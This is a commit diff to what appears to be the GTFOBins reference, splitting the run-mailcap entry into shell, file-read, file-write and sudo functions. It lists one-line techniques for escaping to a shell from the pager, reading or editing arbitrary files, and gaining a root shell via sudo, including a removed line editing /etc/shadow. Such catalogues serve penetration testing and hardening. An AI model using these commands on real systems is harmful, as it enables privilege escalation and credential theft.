Split run-mailcap into functions

Close #34.

_gtfobins/run-mailcap.md

@@ -1,7 +1,22 @@
 ---
 functions:
+  shell:
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: |
+        run-mailcap --action=view /etc/hosts
+        !/bin/sh
+  file-read:
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: run-mailcap --action=view file_to_read
+  file-write:
+    - description: |
+        The file must exist and be not empty.
+
+        This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.
+      code: run-mailcap --action=edit file_to_read
   sudo:
-    - code: |
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
-        sudo run-mailcap --action=edit /etc/shadow
+      code: |
-        :shell
+        sudo run-mailcap --action=view /etc/hosts
+        !/bin/sh
 ---